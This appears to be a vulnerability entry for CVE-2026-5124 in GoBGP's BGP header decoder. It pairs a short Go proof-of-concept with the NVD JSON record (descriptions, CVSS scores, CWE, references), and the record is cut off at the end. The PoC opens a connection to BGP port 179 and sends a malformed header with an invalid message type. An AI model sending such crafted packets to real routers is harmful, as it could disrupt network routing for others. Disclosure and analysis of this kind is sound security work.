CVE-2026-5124

package main import ( "bytes" "encoding/binary" "net" ) // PoC for CVE-2026-5124: Improper Access Control in GoBGP // This code attempts to send a malformed BGP packet to trigger the vulnerability. func main() { target := "127.0.0.1:179" // Replace with actual target IP conn, err := net.Dial("tcp", target) if err != nil { panic(err) } defer conn.Close() // Construct a malicious BGP packet header buffer := new(bytes.Buffer) // BGP Marker (16 bytes) marker := make([]byte, 16) for i := range marker { marker[i] = 0xFF } buffer.Write(marker) // Length (2 bytes) and Type (1 byte) // Sending crafted data to trigger DecodeFromBytes flaw binary.Write(buffer, binary.BigEndian, uint16(20)) buffer.WriteByte(0xFF) // Invalid type // Send payload _, err = conn.Write(buffer.Bytes()) if err != nil { panic(err) } }

{"cve": {"id": "CVE-2026-5124", "sourceIdentifier": "[email protected]", "published": "2026-03-30T17:16:16.087", "lastModified": "2026-04-06T15:52:36.687", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A security vulnerability has been detected in osrg GoBGP up to 4.3.0. Affected is the function BGPHeader.DecodeFromBytes of the file pkg/packet/bgp/bgp.go of the component BGP Header Handler. The manipulation leads to improper access controls. Remote exploitation of the attack is possible. The attack is considered to have high complexity. The exploitability is told to be difficult. The identifier of the patch is f0f24a2a901cbf159260698211ab15c583ced131. To fix this issue, it is recommended to deploy a patch."}, {"lang": "es", "value": "Una vulnerabilidad de seguridad ha sido detectada en osrg GoBGP hasta la versión 4.3.0. Afectada es la función BGPHeader.DecodeFromBytes del archivo pkg/packet/bgp/bgp.go del componente Gestor de Cabecera BGP. La manipulación conduce a controles de acceso inadecuados. La explotación remota del ataque es posible. El ataque se considera que tiene alta complejidad. La explotabilidad se dice que es difícil. El identificador del parche es f0f24a2a901cbf159260698211ab15c583ced131. Para solucionar este problema, se recomienda desplegar un parche."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 6.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:N", "baseScore": 3.7, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.2, "impactScore": 1.4}], "cvssMetricV2": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "2.0", "vectorString": "AV:N/AC:H/Au:N/C:N/I:P/A:N", "baseScore": 2.6, "accessVector": "NETWORK", "accessComplexity": "HIGH", "authentication": "NONE", "confidentialityImpact": "NONE", "integrityImpact": "PARTIAL", "availabilityImpact": "NONE"}, "baseSeverity": "LOW", "exploitabilityScore": 4.9, "impactScore": 2.9, "acInsufInfo": false, "obtainAllPrivilege": false, "obtainUserPrivilege": false, "obtainOtherPrivilege": false, "userInteractionRequired": false}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-266"}, {"lang": "en", "value": "CWE-284"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:osrg:gobgp:*:*:*:*:*:*:*:*", "versionEndExcluding": "4.4.0", "matchCriteriaId": "05DBB6FD-F3CD-4BF0-A573-D1E87307A50F"}]}]}], "references": [{"url": "https://github.com/osrg/gobgp/", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://github.com/osrg/gobgp/commit/f0f24a2a901cbf159260698211ab15c583ced131", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/osrg/gobgp/pull/3340", "source": "[email protected]", "tags": ["Issue Tracking"]}, {"url": "https://vuldb.com/submit/780189", "source": "[email protected]", "tags": ["Third Party Advisory", "VDB Entry"]}, {"url": "https://vuldb.com/vuln/354156", "source": "[email protected]", "tags": ["Third Party Advisory", "VDB Entry"]}, {"url": "https://vuldb.com/vuln/354156/cti", "source": "[email protected]", "tags": ["Permissions Required", " ... (truncated)